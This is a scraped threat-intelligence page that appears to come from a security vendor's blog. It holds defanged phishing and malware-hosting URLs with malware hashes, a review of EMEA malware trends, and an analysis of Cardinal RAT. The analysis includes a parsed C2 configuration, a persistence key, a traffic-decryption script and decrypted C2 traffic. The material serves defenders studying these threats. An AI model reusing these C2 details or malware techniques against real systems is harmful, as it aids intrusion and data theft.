uspsfeu3245443.ideliverys[.]com/aivio24273
uspsgcoez80061682.ideliverys[.]com/ipeetol5862
uspsieibh26357.ideliverys[.]com/yey40177
uspsirokgouu81321536.ideliverys[.]com/wokivy5257
uspskposiuo204.ideliverys[.]com/ffauemyi1162
uspslycoddja50715724.ideliverys[.]com/mnqnoh53682573
uspsnarkk75185.ideliverys[.]com/syf11145060
uspsrekeky57218225.ideliverys[.]com/qi72870401
uspssenluefc87752667.ideliverys[.]com/pukooe40275334
uspstucaej4570.ideliverys[.]com/pbpylye22012283
uspsuhz63110412.ideliverys[.]com/t48844775
uspsuuesylmz2162311.ideliverys[.]com/yorixaig28
uspswmeeeny3538455.ideliverys[.]com/fgyzi77
uspsyhiwejug182483.ideliverys[.]com/gjesul74180
uspszovuoody3241005.ideliverys[.]com/deoa382
uspszujoea26262.ideliverys[.]com/vzy575324

Links from the emails on Thursday, April 13:

aexhnneq102342usps.maildeliverys[.]com/kovcemaw707572
bdguz0371usps.maildeliverys[.]com/usvyneye6
ebzizebk4124157usps.maildeliverys[.]com/uotajyax507
eccov13346821usps.maildeliverys[.]com/natyxr51034320
finupriw75037usps.maildeliverys[.]com/qaqabxei76122420
hoemurha6838215usps.maildeliverys[.]com/becevo581082
hwyrztkj8023435usps.maildeliverys[.]com/lyiaf13610344
ibaoe40687236usps.maildeliverys[.]com/vevroyo40678322
juo635usps.maildeliverys[.]com/hijxe7411
pehoaki1160481usps.maildeliverys[.]com/mvaklhma54511567
pfinyryf551041usps.maildeliverys[.]com/gsr58503
poyjsofq7716usps.maildeliverys[.]com/irirorcq3818
py18usps.maildeliverys[.]com/ou0453
rafoyky41usps.maildeliverys[.]com/ke244
roaaheis34435732usps.maildeliverys[.]com/iywyerk54374618
tenyti58325153usps.maildeliverys[.]com/mogfulep66534
ucasucu5264usps.maildeliverys[.]com/irwoqoqy563108
xicyw707845usps.maildeliverys[.]com/kyzupyi74721211
yfypus7588300usps.maildeliverys[.]com/n807837
zfsiqyjh4508687usps.maildeliverys[.]com/woorutu63408454

Links from the emails on Friday, April 14:

anilstone[.]ir/libraries/joomla/string/wrapper/counter/1.htm

Associated file hashes:

SHA256 hash: 8e210658f17a265f0c595b4f63ee7ba3db4c83f64c93f522e74e57e6fc547b11

File name: plugin.exe
File size: 149,346 bytes
File description: Mole ransomware from thru Google Docs URL on April 12th

SHA256 hash: b36a3a9e2b9129cbe7385c97fa24666d2d086f7bb8a3c9c4e019f14a41538be0

File name: plugin.js
File size: 1,369 bytes
File description: Contents of plugin.zip from tramplin.online[.]ru on April 13th

SHA256 hash: a1670db6204f7666ad246cc11736b052713a4413663f5cbe6aec90ab299431a7

File name: plugin.js
File size: 1,537 bytes
File description: Contents of plugin.zip from mattsfotoalbum[.]de on April 13th

SHA256 hash: 40e8dc147f189baf4660d5db8e0cd1c647c7f167f7176c5d8ee03b6cac26fed2

File name: plugin.js
File size: 1,382 bytes
File description: Contents of plugin.zip from anilstone[.]ir on April 14th

SHA256 hash: 3b5b19ebe8d8b6c7e5b2ffd2cc194fad1ae6c9eade7646f48c595bd154f4b1e1

File name: exe1.exe
File size: 85,504 bytes
File description: Mole ransomware (follow-up malware retrieved by plugin.js on April 13th)

SHA256 hash: 50117ce3fe5dba572cf23584dc7541a7cfd4026d4316e69d29cdf536873fdf20

File name: exe1.exe
File size: 91,136 bytes
File description: Mole ransomware (follow-up malware retrieved by plugin.js on April 14th)

SHA256 hash: d9189f6df89acf8e2f0d689ab73429cde37f974ed423f91d1bcabfe5dda700fa

File name: exe2.exe
File size: 366,249 bytes
File description: Kovter malware (follow-up malware retrieved by plugin.js on April 13th)

SHA256 hash: 41f171eb916d555dc7771ce71013572c498b8d620d2f72872c4b2f3b50c7ccb1

File name: exe2.exe
File size: 363,728 bytes
File description: Kovter malware (follow-up malware retrieved by plugin.js on April 13th)

SHA256 hash: b2dfa063fa605d942822cc84ef90419e26cfa0030444751fc2b87f1456b72e30

File name: exe2.exe
File size: 363,922 bytes
File description: Kovter malware (follow-up malware retrieved by plugin.js on April 14th)

SHA256 hash: ba1327106fa0bf82050cf1a1b9c0c119eb0ded63931af4127e5d541dfa2c6850

File name: exe3.exe
File size: 221,974 bytes
File description: Miuref malware (follow-up malware retrieved by plugin.js on April 13th)

SHA256 hash: 5459be968e2296a759dcafa7107ef06d02331b5291c9f3056077bcf38ce37d9e

File name: exe3.exe
File size: 117,561 bytes
File description: Miuref malware (follow-up malware retrieved by plugin.js on April 14th)

Other URLs associated with this activity:

Examples of fake Microsoft Microsoft Word Online pages:

posof.bel[.]tr/counter/1.htm
tramplinonline[.]ru/counter/1.htm
mattsfotoalbum[.]de/cache/counter/1.htm
anilstone[.]ir/libraries/joomla/string/wrapper/counter/1.htm

Examples of malware URLs disguised as Microsoft Office plugin:

posof.bel[.]tr/counter/plugin.exe
posof.bel[.]tr/counter/plugin.zip
mattsfotoalbum[.]de/cache/counter/plugin.zip
tramplinonline[.]ru/counter/plugin.zip

Examples for start of URLs generated by plugin.js:

alita[.]kz/tmp/installation/language/cs-CZ/counter/
avtotur.com/libraries/fof/utils/ip/counter/
circus-stroy.ru/counter/
boorsemsport[.]be/templates/yoo_aurora/less/uikit/counter/
eurostandard[.]ro/pics/size1/counter/
forum-turism.org[.]ro/images/layout/counter/
glochemindia[.]com/modules/mod_roknavmenu/lib/librokmenu/counter/
sportbelijning[.]be/libraries/joomla/application/web/counter/

Review of Regional Malware Trends in EMEA: Part 2

Posted on April 21, 2017January 28, 2022 by Alex Hinchliffe

Introduction

In December 2016 I posted the first part of this series of blogs introducing the EMEA regional threat reports that I have been authoring and publishing internally for the last 6 months of 2016. I also introduced the EMEA region at a high level– abundant in countries each with mixed languages, cultures and cyber security maturity levels, with different industry sectors and with different economic profiles. A very diverse environment with rich pickings for cyberattacks.

In that post, I also established the structure for these posts: An overview of specific overall trends for the region, a focus on two sets of three countries (in the first report these were the United Kingdom, Germany and France and Turkey, Saudi Arabia and United Arab Emirates), a conclusion and cyber hygiene recommendations.

Continuing on from the first blog I will discuss here the threat landscape from late last year and into 2017 for another two sets of countries:

The Netherlands, Sweden, Denmark, and Belgium
Italy, Spain, and Switzerland

Headlines

We’ve seen LuminosityLink RAT (Remote Access Trojan) variants with ties to the SilverTerrier campaign in the Service Provider sector.
Uptick in KINS malware campaigns targeting Insurance and Finance sectors in Italy.
Samples exhibiting suspicious HTTP communication behavior of lacking a user-agent continue to rise.
Locky ransomware still around but somewhat shadowed by Cerber uptick.

Malicious Behaviors

Before getting into the details of the threat landscape in the chosen countries below I wanted to spend a little time discussing malicious behaviors.

Awareness of behaviors exhibited by programs running in your environment can arguably be as important, if not more so, then knowing whether said programs are malicious or not, or indeed, which family they belong to if they are determined malicious. This can be compounded by the fact that often the same behaviors are exhibited by multiple types and families of malware. In other words, looking at behaviors can have a broader, more generic value. When WildFire analyzes a sample collected from our platform, we not only track what verdict it returns (malware or greyware or benign) but also which malware family the sample belongs to and what behaviors, whether malicious or not, they exhibit.

Monitoring these behaviors and their trending over time can be incredibly useful in understanding the Tools, Techniques and Procedures (TTPs) of the attacker. They indicate trends of features adopted by malware authors and how they may be trying to subvert security solutions, for example by smuggling malicious network traffic amongst legitimate application traffic, or take advantage of applications to launch secondary payloads, for example by launching Microsoft PowersShell commands from Visual Basic for Applications (VBA) stored in Microsoft Word documents. These behaviors are elements of the adversary’s playbook, which they are running against their victims.

Understanding an adversary’s playbook can help you improve your organization’s security posture. By understanding popular and prevalent malicious behaviors one can take countermeasures through updating of security policies to prevent or limit the behavior’s capability. These countermeasures may be effective against many adversaries who employ the same TTPs.

One such example is the suspicious behavior tag used in AutoFocus called HttpNoUserAgent. This tag identifies programs that create HTTP traffic but omit, or use blank, user-agent field data. Typically, legitimate applications will include a user-agent value in HTTP requests to tell the web server what type of application they are communicating with, which may result in different data returned by the server. HTTP requests without the user-agent header, or with a blank user agent value, are extremely suspect. Searching for programs that are tagged as such often cover multiple malware families and can provide great visibility in your environment. More and more samples detonated in Wildfire recently have been tagged as exhibiting the HttpNoUserAgent behavior.

The Netherlands, Sweden, Denmark, and Belgium

These four countries share some borders: the Netherlands to Belgium where the capital city Brussels contains the headquarters for North Atlantic Treaty Organization (NATO) as well as the European Commission and European Council, and is often referred to as the de facto capitol of the European Council. Further north, forming part of the Nordics region, Denmark borders Sweden, which is one of a small number of European Union countries that are not part of NATO. According to some reports Sweden stayed out of NATO in solidarity with its neighbor Finland, which stayed out in order not to antagonize Russia.

Of the malicious network sessions seen on our next-generation security platforms within these four countries, the sessions in the Netherlands accounted for almost three quarters and when comparing the numbers for actual malware samples used in those sessions, approximately one third of the samples were seen in the Netherlands. Belgium was next and saw almost the same number of samples as the Netherlands but over far fewer sessions, a ratio difference that could imply slightly less large-scale malspam campaigns occurred in Belgium compared to the Netherlands.

Sweden and Denmark saw similar numbers of samples and sessions to each other but despite this some malware families seen in these countries were unique as compared to Belgium and the Netherlands. Sweden was an exception of the four countries as it received more malicious sessions in the second part of the period as opposed to the first.

Although all four countries except Sweden saw some Cerber ransomware activity Belgium saw the highest number of malicious sessions by far. Generally speaking there has been a global uptick of Cerber ransomware over this time period, and certainly in higher volumes than Locky ransomware, which has been trending down recently but was seen in all four of the countries, albeit in lower volume. The figures below are taken from AutoFocus and compare the industry sectors that see the majority of these two ransomware families. Figure 1 shows Locky while Figure 2 shows Cerber. You can see that the total volume of Locky dwarfs that of Cerber despite the recent downward trend. High Tech and Higher Education tend to see the majority of attacks and while there are other similarities, the main differences, at least in this time period, include Government being higher for Cerber and Professional and Legal Services being lower, and Telecoms being affected by Locky only conversely the Insurance sector only by Cerber.

Figure 1 Top industries targeted by Locky

Figure 2 Top industries targeted by Cerber

While these families have been, or currently are, the top of the charts when it comes to prevalence, there are over 100 families being tracked by Unit 42 some of which are creating new and novel techniques to extort the ransom. Some examples include RanserKD aka Crylocker ransomware which communicates victim infection details through appending data to PNG image files uploaded to online services such as Imgur and Dropbox where the attacker can gain the details necessary. This is clearly a move to try and smuggle the malicious network traffic through legitimate-looking traffic patterns. Others include the concept of Doxware or Doxing whereby victim data would be exfiltrated prior to local encryption with the threat of exposing information online that may also cause the victim to pay the ransom over concerns of privacy or company-sensitive information being exposed.

Of the malware families, common to all four countries, Hancitor was certainly one of the most prevalent, with fairly high session volume in each country though not as sustained or consistent as the aforementioned ransomware families. Hancitor email application (SMTP, POP3, IMAP) sessions in the Netherlands delivered variants in sufficient volume to register as some of the top malware seen over the period. The Netherlands had more Hancitor samples and sessions compared with the next country, Sweden. In the Netherlands High Tech was the highest affected industry by Hancitor compared to Sweden’s Professional and Legal industries; the next most affected industry in both countries was Manufacturing. Globally, at the time, the number one industry affected by Hancitor was Healthcare.

GhostPush is a malicious adware family that quickly spread worldwide allowing for complete takeover of an Android user’s device using novel techniques to maintain persistence and obfuscate its activity, including installing system level services, modifying the recovery script executed on device boot, and tricking the user into enabling automatic app installation.

During this time period, and in these four countries, we only saw the malicious adware in Sweden but, beyond these four countries there has been some consistent activity and, given some of the recently volume seen, the indications are that GhostPush is on the rise generally. In all the cases during this period GhostPush was also seen in conjunction with an Android advertisement library, UmengAdware, which is capable of displaying advertisements via the system notification bar, sending device GPS and other phone information, lists of installed (and currently running) applications and network operator details to a remote host. Furthermore, additional apps can be installed via this library as well.

Atmos is a polymorphic variant of Citadel (that is based on ZeuS) that functions similarly, targeting financial and confidential user data. During this time period, we saw Atmos most in Denmark. Globally this malware has seen a recent decline after a period of heightened activity and, as with most malware, is delivered using email as part of malspam campaigns often purporting to be related to purchase orders with leading subject lines “Orders” and “Shipping information” with attachment filenames “ORDERnnnnnnnnnnn” where n is an 11-digit random number. The file itself is always an executable (EXE) however sometimes the extensions used can include other forms of executable file types, such as .PIF, .SCR and even.SCR.GZ as well as the more traditional .EXE.

Another malware we saw using very similar social engineering techniques to lure victims into opening attachments during this period in The Netherlands, Sweden, and Belgium but not Denmark but is LuminostyLink, a fully featured Remote Access Trojan (RAT) with very aggressive keylogger that injects its code in almost every running process on the computer. Always using .EXE for its attached file’s extension but on occasion using a second extension .GZ to make the file look like a GZIP compressed archive we saw LuminosityLink downloading additional payloads, such as Pony and Zeus – other Trojans capable of yet further downloads but also of stealing credentials and harvesting victim user and system information.

We’ve seen LuminosityLink fairly consistently over the past months with a small uptick of late. During this time period attacks using LuminosityLink and related malware relied purely on social engineering. This is in contrast with previous variants that try to automatically install themselves by attacking software vulnerabilities on the victim’s system; in some cases, targeting vulnerabilities dating back to 2012.

Figure 3 below shows during this period that in in The Netherlands, Sweden, and Belgium the Service Provider sector was the most targeted by LuminosityLink. We saw only two unique variants of LuminosityLink when searching AutoFocus using this search criterion and both variants were seen in 23 SMTP sessions where the emails claimed to be purchase order related, with subject line “FW: REQUEST FOR QUOTATION” and file attachment name “PO 010617.exe”. One of these two samples has also been tagged in AutoFocus as being part of the SilverTerrier campaign meaning that the sample was likely hosted on, or would talk-back during execution to a host that has been identified as being part of this campaign. For more information about SilverTerrier please refer to a whitepaper published late last year on the subject.

Figure 3 LuminosityLink by industry sector

Italy, Spain, and Switzerland

Italy and Spain, together with some other countries, are informally thought as being part of Southern Europe. Switzerland shares its southern border with northern Italy, and Italian is one of its official languages with between 5 and 10% of Swiss claiming it as their first language. All three countries, Italy, Spain, and Switzerland have a mixture of economic sectors including manufacturing, finance, agriculture and more. Italy is fourth, behind Germany, France, and the United Kingdom, in terms of population at approximately 60 million compared to Spain with approximately 46 million and Switzerland with approximately 8 million. Switzerland is the only country of the three that is neither a member of the European Union nor NATO.

In Italy, we saw a large volume of malicious sessions over email-based applications supplying KINS malware. The emails often purport to be documentation or user guide related, primarily in English, and almost always have double extensions, such as .pdf.exe or .eml.exe masquerading as PDF document or email files respectively. KINS malware is related to ZeusVM – a relatively new addition to the Zeus family of malware – and like other Zeus variants, it is a banking Trojan focusing on stealing user credentials from financial institutions.

Over this period in Italy, the majority of KINS volume targeted the High-Tech sector, followed by Professional and Legal services, Insurance, and Wholesale.

Some of the KINS variants also downloaded Pony malware, which itself can download further payloads but also has credential harvesting capabilities too. We also saw Pony malware in Spain and Switzerland over this period. But we saw seeing the vast majority of Pony samples and sessions in Italy and Spain; globally Pony malware is alwaysfairly consistent and of late has been trending upwards slightly. Many of the Pony variants seen in Italy and Spain have been linked to other malware families including NanoCoreRAT (a Remote Access Trojan) and Neutrino, a point-of-sale malware which attempts to scrape credit card information from memory on the infected system. The malware often uses HTTP to request commands from the attacker.

In Spain, we saw High Tech and Higher Education sectors affected by variants of MacKeeper malware that purports to be a security product for Mac but actually serves ads to the victim. All the sessions that delivered MacKeeper in Spain used web-browsing application with downloaded filenames having .PKG extensions. Globally MacKeeper has been trending downwards recently.

All three countries saw large amounts of Locky and Cerber ransomware just as the other four countries listed above did, however, when you compare Switzerland’s lower volume of all malicious sessions over this period, the ratio of Locky malware present compared to Italy and Spain’s equivalent ratio is staggering. Almost half of the total unique samples and over half of the sessions seen in Switzerland during this period were Locky ransomware.

Generally speaking, the FTP (File Transfer Protocol) application does not register high in AutoFocus’ list of top applications carrying malware, let alone being above some email-based applications and web-browsing, but during this period such malicious activity spiked, as shown in Figure 4 below.

Figure 4 FTP high in the charts compared to normal

The vast majority of the FTP sessions we saw were in Spain, followed by Italy and finally Switzerland; the malware mostly responsible for this is Photominer, which is often seen with other malware such as CoinMiner. Both malwares have similar, fairly consistentvolumes throughout this period averaging over 2000 sessions per day and ranging from several hundreds some days to over 10,000 on other.

Photominer features a unique infection mechanism reaching users on their endpoints by infecting websites hosted on insecure FTP servers, which the victims browse to. Infection of an endpoint includes a component for mining crypto-currency (CoinMiner) as well as Photominer itself, which tries to find and compromise yet more FTP servers thus spreading the malware further.

Monero is the crypto currency of choice for this malware and its believes that the choice of a lesser known currency with a good exchange rate allows the attackers to rapidly gain money while the sophisticated use of safeguards makes it resilient to most disruption attempts.

Conclusion

EMEA is a socially and economically diverse region with many interesting assets whether they be citizen data, financial information, or natural resources and, as such, is a target for cyber criminals the world over.

It’s probably no surprise to see ransomware as a prevalent malware crossing all borders into all countries as this malware is really victim-agnostic. Any data on any computer in any country is a viable target.

Clearly information-stealing malware, such as KINS and Pony, are prevalent in countries that have a more service-based economy that manage and process plenty of user data and personally identifiable information (PII). While other countries more reliant on industrial sectors and natural resources seem to have more cyberattacks that make use of RATs providing full control to remote attackers and use of key-logging technologies to harvest data.

Cyber Hygiene

The threat landscape is vast and can be complex but you can minimize your risk of infection and enhance the overall health of your network by following some basic cyber hygiene habits:

Patch systems and applications wherever (and as soon as) possible. Alternatively, focus on other security solutions, such as exploit prevention technology to protect those systems and applications from attack or to help manage patching cycles to suit your requirements. Prioritize patching based on known exploits or in-the-wild-attacks. Segment those unpatched/unpatchable devices in the network with additional access controls based on users or application communication to minimize the risk of exploitation. Perform regular vulnerability scans of systems and review changes to spot new devices or changes in active vulnerabilities.

Change the file association for JavaScript to be opened using notepad (or something else benign) rather than the Windows Scripting Host or other shell capable of executing malcode. This can be done per PC or enterprise-wide using Group Policy.

Educate users and employees of the security risks faced by your organization and perform regular training and reminders about these and how they can help the effort. Provide a platform for users to learn about the risks and to report incidents to security-related staff. Create a culture whereby such reporting is important and valued. Monitor effectiveness of training for the purposes of gap analysis and creating dialogue between security teams and users.

Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017

Ignite ’17 Security Conference is a live, four-day conference designed for today’s security professionals. Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry. Visit the Ignite website for more information on tracks, workshops and marquee sessions.

Cardinal RAT Active for Over Two Years

Posted on April 20, 2017November 1, 2018 by Josh Grunzweig

Palo Alto Networks has discovered a previously unknown remote access Trojan (RAT) that has been active for over two years. It has a very low volume in this two-year period, totaling roughly 27 total samples. The malware is delivered via an innovative and unique technique: a downloader we are calling Carp uses malicious macros in Microsoft Excel documents to compile embedded C# (C Sharp) Programming Language source code into an executable that in turn is run to deploy the Cardinal RAT malware family. These malicious Excel files use a number of different lures, providing evidence of what attackers are using to entice victims into executing them.

The malware from start to finish exhibits the following high level operations as shown in Figure 1:

Figure 1 Malware execution flow

Carp Downloader

As previously mentioned, we have observed Cardinal RAT being delivered using a unique technique involving malicious Excel macros. We are calling these delivery documents the Carp Downloader, as they make use of a specific technique of compiling and executing embedded C# (CshARP) language source code that acts as a simple downloader.

We observed the following example macro in the most recent sample. Note that we have prefixed the function names with ‘xx_’ to make it easier for the reader to understand what is going on. Additionally, we have added comments to explain what is happening, as well as the un-obfuscated strings that are found within the macro.

Figure 2 Portion of malicious macro containing base64-encoded source code

Figure 3 Portion of malicious macro responsible for compiling and executing embedded source code

As a quick recap of what the malicious macro is doing, it begins by generating two paths—a path to a randomly named executable, and randomly named C# file in the %APPDATA%\\Microsoft folder. It then base64-decodes the embedded C# source code as shown in Figure 2 and writes it to the C# file path previously generated. Finally, as shown in Figure 3 it will compile and execute this C# source code using the Microsoft Windows built-in csc.exe utility.

The decoded source code in this example looks like the following as shown in Figure 4.

Figure 4 Decoded source code

As we can see, it simply downloads a file from secure.dropinbox[.]pw using HTTP on port 443 (not HTTPS), and proceeds to decrypt the file using AES-128 prior to executing it. At this point, Cardinal RAT has been downloaded and executed, and execution is directed to this sample. Of course, the Carp Downloader is not required to download Cardinal RAT, however, based on our visibility, it has exclusively done so.

A total of 11 unique Carp Downloader samples have been observed to date. The following figures show lures that we observed in these samples.

Figure 5 Lure with a filename of Top10Binary_Sample_HotLeads_13.9.xls

Figure 6 Lure with a filename of AC_Media_Leads_ReportGenerator_5.2.xls

Figure 7 Lure with an unknown filename

Figure 8 Lure with a filename of Arabic 22.12_Pre qualified.xls

Figure 9 Lure with an unknown filename

Figure 10 Lure with a filename of Hot_Leads_Export_09.03_EN.xls

As we can see from the above examples, the majority of these lures are financial-related, describing various fake customer lists for various organizations. Based on the similarities witnessed in some of these lures, it appears that the attackers use some sort of template, where they simply swap specific cells with the pertinent images or information.

Cardinal RAT

The name Cardinal RAT comes from internal names used by the author within the observed Microsoft .NET Framework executables. To date, 27 unique samples of Cardinal RAT have been observed, dating back to December 2015. It is likely that the low volume of samples seen in the wild is partly responsible for the fact that this malware family has remained under the radar for so long.

An unobfuscated copy of Cardinal RAT was identified, which allowed us to view the decompiled class and function names. A subset of these may be seen below in Figure 11. This allowed us to not only easily identify the full functionality of the RAT, but also made it easier to identify and reverse-engineer various aspects of the malware itself.

Figure 11 Decompiled Cardinal RAT classes

When initially executed, the malware will check its current working directory. Should it not match the expected path, Cardinal will enter its installation routine. Cardinal RAT will copy itself to a randomly named executable in the specified directory. It will then compile and execute embedded source code that contains watchdog functionality. Specifically, this newly spawned executable will ensure that the following registry key is set:

HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load

This specific key is set to point towards the path of the previously copied Cardinal RAT executable path. The executable will periodically query this registry key to ensure it is set appropriately. If the executable finds the registry key has been deleted, it will re-set it. The Load registry key acts as a persistence mechanism, ensuring that this Cardinal RAT executes every time a user logs on. More information about the Load registry key may be found here.

This watchdog process also ensures that the Cardinal RAT process is always running, as well as ensures that the executable is located in the correct path. Should either of these conditions not be met, the watchdog process will spawn a new instance of Cardinal RAT, or write Cardinal RAT to the correct location, respectively.

After the installation routine, Cardinal RAT will inject itself into a newly spawned process. It will attempt to use one of the following installed executables for the newly spawned process:

RegAsm.exe
RegSvcs.exe
vbc.exe
csc.exe
AppLaunch.exe
cvtres.exe

Cardinal RAT will continue to parse an embedded configuration. This configuration, named internally as ‘GreyCardinalConfig’, is a binary blob that contains a mixture of base64-encoded data, DWORDs, and Boolean values. Using a custom written Python script, we parsed the configuration of an example sample:

$ python decode_parse_config.py GreyCardinalConfig
Mutex: cpS3H2NSA65T67mUqB3a
GUID: 952407f889285547985aa2fcf35c5383
Campaign: 04/04/2016 Public
Number of C2 Servers: 1
C2 Server: secure[.]affiliatetoday[.]xyz
Port: 4425
Communication Key: H7sVBirLvGwVfLSLSeI2
Connection Delay: 3500
Buffer Size: 20480
Max Buffer Size: 40960000
Unknown Integer: 70000
Prevent System Sleeping: 0
Hide File: 0
Die on Sandbox Detection: 0
Keylogging: 1
Install Name: None

$ python decode_parse_config.py GreyCardinalConfig

Mutex: cpS3H2NSA65T67mUqB3a

GUID: 952407f889285547985aa2fcf35c5383

Campaign: 04/04/2016 Public

Number of C2 Servers: 1

C2 Server: secure[.]affiliatetoday[.]xyz

Port: 4425

Communication Key: H7sVBirLvGwVfLSLSeI2

Connection Delay: 3500

Buffer Size: 20480

Max Buffer Size: 40960000

Unknown Integer: 70000

Prevent System Sleeping: 0

Hide File: 0

Die on Sandbox Detection: 0

Keylogging: 1

Install Name: None

As we can see, this particular sample is configured with a single command and control (C2) server, however, we have seen other samples with multiple host and port combinations. We can also identify a communication key in it, which is crucial when discussing network communications.

After the configuration is parsed, Cardinal RAT will proceed with making attempts at connecting with the C2. Using an example request and response from a C2 server, we can see how this traffic is configured.

Figure 12 Parsed network traffic communication

Data is transmitted in two pieces—a DWORD specifying the data length, as well as the data itself. The data is encrypted using a series of XOR and addition operations, followed by decompression using the ZLIB library. Represented in Python, this may be implemented as follows:

def decrypt(md5_key, data):
  key = data[-1]
  remaining = data[0:-1]
  c = 0
  out = ""
  for x in remaining:
    b = md5_key[c%len(md5_key)]
    out += chr(ord(x) ^ ord(b) + ord(key) & 255)
    c+=1
  if len(out) > 15:
    if ord(out[0]) == 1:
      out = zlib.decompress(out[1:], -15)
  return out

def decrypt(md5_key, data):

key = data[-1]

remaining = data[0:-1]

c = 0

out = ""

for x in remaining:

b = md5_key[c%len(md5_key)]

out += chr(ord(x) ^ ord(b) + ord(key) & 255)

c+=1

if len(out) > 15:

if ord(out[0]) == 1:

out = zlib.decompress(out[1:], -15)

return out

The ‘md5_key’ argument in the function above is the MD5 hash of the previously defined ‘H7sVBirLvGwVfLSLSeI2’ string that was contained within Cardinal RAT’s embedded configuration. Now that we know how to decrypt the data, we can look at the previously shown PCAP data and determine what is being sent. The first message decrypts to the following:

$ python decrypt_cardinal_pcap.py 
Data Length: 3
00000000: 00 00

$ python decrypt_cardinal_pcap.py

Data Length: 3

00000000: 00 00

Followed by the Cardinal RAT’s response:

$ python decrypt_cardinal_pcap.py 
Data Length: 148
00000000: 00 95 24 07 F8 89 28 55  47 98 5A A2 FC F3 5C 53  ..$...(UG.Z...\S
00000010: 83 4A 00 61 00 73 00 6F  00 6E 00 20 00 42 00 6F  .J.a.s.o.n. .B.o
00000020: 00 72 00 6E 00 00 00 4A  00 41 00 53 00 4F 00 4E  .r.n...J.A.S.O.N
00000030: 00 42 00 4F 00 52 00 4E  00 2D 00 50 00 43 00 00  .B.O.R.N.-.P.C..
00000040: 00 30 00 34 00 2F 00 30  00 34 00 2F 00 32 00 30  .0.4./.0.4./.2.0
00000050: 00 31 00 36 00 20 00 50  00 75 00 62 00 6C 00 69  .1.6. .P.u.b.l.i
00000060: 00 63 00 00 00 57 00 69  00 6E 00 64 00 6F 00 77  .c...W.i.n.d.o.w
00000070: 00 73 00 20 00 37 00 20  00 55 00 6C 00 74 00 69  .s. .7. .U.l.t.i
00000080: 00 6D 00 61 00 74 00 65  00 20 00 00 00 00 00 00  .m.a.t.e. ......
00000090: 00 00 31 00 2E 00 34 00  00 00 30 00 37 00 38 00  ..1...4...0.7.8.
000000A0: 42 00 46 00 42 00 46 00  44 00 30 00 30 00 30 00  B.F.B.F.D.0.0.0.
000000B0: 33 00 30 00 36 00 44 00  32 00 00 00              3.0.6.D.2...

$ python decrypt_cardinal_pcap.py

Data Length: 148

00000000: 00 95 24 07 F8 89 28 55 47 98 5A A2 FC F3 5C 53 ..$...(UG.Z...\S

00000010: 83 4A 00 61 00 73 00 6F 00 6E 00 20 00 42 00 6F .J.a.s.o.n. .B.o

00000020: 00 72 00 6E 00 00 00 4A 00 41 00 53 00 4F 00 4E .r.n...J.A.S.O.N

00000030: 00 42 00 4F 00 52 00 4E 00 2D 00 50 00 43 00 00 .B.O.R.N.-.P.C..

00000040: 00 30 00 34 00 2F 00 30 00 34 00 2F 00 32 00 30 .0.4./.0.4./.2.0

00000050: 00 31 00 36 00 20 00 50 00 75 00 62 00 6C 00 69 .1.6. .P.u.b.l.i

00000060: 00 63 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 .c...W.i.n.d.o.w

00000070: 00 73 00 20 00 37 00 20 00 55 00 6C 00 74 00 69 .s. .7. .U.l.t.i

00000080: 00 6D 00 61 00 74 00 65 00 20 00 00 00 00 00 00 .m.a.t.e. ......

00000090: 00 00 31 00 2E 00 34 00 00 00 30 00 37 00 38 00 ..1...4...0.7.8.

000000A0: 42 00 46 00 42 00 46 00 44 00 30 00 30 00 30 00 B.F.B.F.D.0.0.0.

000000B0: 33 00 30 00 36 00 44 00 32 00 00 00 3.0.6.D.2...

This communication represents the C2 server asking the Cardinal RAT to retrieve and upload victim information (‘\x00\x00’), to which the malware responds accordingly. As we can see in the above decrypted stream, the malware returns a wealth of information, including the following:

Username
Hostname
Campaign Identifier
Microsoft Windows version
Victim unique identifier
Processer architecture
Malware version (1.4)

The malware itself is equipped with a number of features, including the following:

Collect victim information
Update settings
Act as a reverse proxy
Execute command
Uninstall itself
Recover passwords
Download and Execute new files
Keylogging
Capture screenshots
Update Cardinal RAT
Clean cookies from browsers

Conclusion

Cardinal RAT is deployed using an interesting technique of compiling and executing a downloader via a malicious macro embedded within a Microsoft Excel file. The Excel files themselves contain lures that have financial themes. This threat has had a low volume of samples in the past two years, with 11 instances of Carp Downloader and 27 instances of Cardinal RAT observed. Palo Alto Networks customers are protected by these threats in the following ways:

All samples discussed are classified as malicious by the WildFire sandbox platform
All identified domains have been classified as malicious
AutoFocus users can track the malware described in this report using the CarpDownloader and CardinalRAT

Appendix

Carp Downloader SHA256 Hashes

a52ba498d304906d6c060e8c56ad7db50e1af0a781616c0aa35447c50c28bae9

5025aa0fc6d4ac6daa2d9a6452263dcc20d6906149fc0995d458ed38e7e57b61

1181f97071d8f96f9cdfb0f39b697204413cc0a715aa4935fe8964209289b331

84e705341a48c8c6552a7d3dd97b7cd968d2a9bc281a70c287df70813f5dca52

ae1a6c4f917772100e3a5dc1fab7de4a277876a6e626da114baf8179b13b0031

e49e61da52430011f1a22084a601cc08005865fe9a76abf503a4a9d2e11a5450

192b204dbc702d3762c953544975b61db8347a7739c6d8884bb4594bd816bf91

571b58ba655463705f45d2541f0fde049c83389a69552f98e41ece734a59f8d4

10f53502922bf837900935892fb1da28fc712848471bf4afcdd08440d3bd037f

8bea55d2e35a2281ed71a59f1feb4c1cf6af1c053a94781c033a94d8e4c853e5

057965e8b6638f0264d89872e80366b23255f1a0a30fd4efb7884c71b4104235

Cardinal RAT SHA256 Hashes

e017651dd9e9419a7f1714f8f2cdc3d8e75aebbe6d3cfbb2de3f042f39aec3bd

778090182a10fde1b4c1571d1e853e123f6ab1682e17dabe2e83468b518c01df

8fababb509ad8230e4d6fa1e6403602a97e60dc8ef517016f86195143cf50f4e

1977cedcfb8726dea5e915b47e1479256674551bc0fe0b55ddd3fa3b15eb82b2

16aab89d74c1eaaf1e94028c8ccceef442eb2cd5b052cba3562d2b1b1a3a4ba6

9c47b2af8b8c5f3c25f237dcc375b41835904f7cd99221c7489fb3563c34c9ab

211b7b7a4c4a07b9c65fae361570dbb94666e26f0cc0fa0b32df4b09fcee6de2

fd61a5cd1a83f68b75d47c8b6041f8640e47510925caee8176d5d81afac29134

84f822d9cf575aeea867e9b73f88ad4d9244293e52208644e12ff2cf13b6b537

855cf3a6422b0bf680d505720fd07c396508f67518670b493dba902c3c2e5dfa

4b4c6b36938c3de0623feb92c0e1cb399d2dc338d2095b8ba84e862ef6d11772

